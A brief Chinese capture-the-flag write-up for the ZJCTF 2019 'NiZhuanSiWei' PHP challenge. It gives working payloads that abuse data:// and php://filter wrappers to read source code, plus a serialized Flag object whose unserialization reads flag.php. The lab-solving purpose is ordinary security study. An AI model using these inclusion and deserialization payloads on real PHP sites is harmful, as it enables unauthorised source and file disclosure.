[ZJCTF 2019]NiZhuanSiWei

虽然有include函数但我们无法直接包含flag因为对file进行了过滤,又看见有反序列化的入口,只是并没有发现可利用的方法,但题目有提示所以尝试将其调出来

php伪协议写入内容

看到file_get_contents函数想到使用data协议,去封装一个流,然后保险起见include使用了filter,data:写入内容为welcome to the zjctf,&加入php伪协议来读取useless.php

payload如下:

?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php

给file变量在赋值读取flag.php

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

将前面的伪协议去掉,最终的poc是:

/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

相关推荐
消失的旧时光-19431 小时前
kotlin的密封类
android·开发语言·kotlin
hzw05103 小时前
Jupyter的使用
ide·python·jupyter
服装学院的IT男3 小时前
【Android 13源码分析】WindowContainer窗口层级-4-Layer树
android
CCTV果冻爽4 小时前
Android 源码集成可卸载 APP
android
码农明明4 小时前
Android源码分析:从源头分析View事件的传递
android·操作系统·源码阅读
秋月霜风5 小时前
mariadb主从配置步骤
android·adb·mariadb
Python私教6 小时前
Python ORM 框架 SQLModel 快速入门教程
android·java·python
棒棒糖的糖不含糖6 小时前
idea生成类信息及快捷开发配置
ide
编程乐学7 小时前
基于Android Studio 蜜雪冰城(奶茶饮品点餐)—原创
android·gitee·android studio·大作业·安卓课设·奶茶点餐
JANGHIGH7 小时前
VSCode值得推荐的插件(持续更新中)
ide·vscode·编辑器